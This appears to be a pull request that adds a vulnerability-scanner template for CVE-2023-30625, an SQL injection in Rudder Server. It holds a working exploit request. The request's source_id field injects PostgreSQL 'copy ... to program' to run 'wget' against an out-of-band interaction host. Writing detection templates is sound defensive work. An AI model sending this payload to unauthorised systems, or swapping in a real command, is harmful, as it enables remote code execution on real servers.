Merge pull request #8295 from gy741/rule-add-v146

Create CVE-2023-30625.yaml

http/cves/2023/CVE-2023-30625.yaml

@@ -0,0 +1,49 @@
+id: CVE-2023-30625
+
+info:
+  name: Rudder Server < 1.3.0-rc.1  - SQL Injection
+  author: gy741
+  severity: high
+  description: |
+    Rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.
+  reference:
+    - https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-30625
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2023-30625
+    cwe-id: CWE-89
+    epss-score: 0.010870000
+    epss-percentile: 0.826540000
+    cpe: cpe:2.3:a:rudderstack:rudder-server:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+  tags: cve,cve2023,rudder,rudderstack
+
+variables:
+  cmd: "wget {{interactsh-url}}"
+
+requests:
+  - raw:
+      - |
+        POST /v1/warehouse/pending-events HTTP/1.1
+        Host: {{Hostname}}
+
+        {"source_id": "test'; copy (SELECT '') to program '{{cmd}}'-- - "}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "error getting pending"
+
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: status
+        status:
+          - 500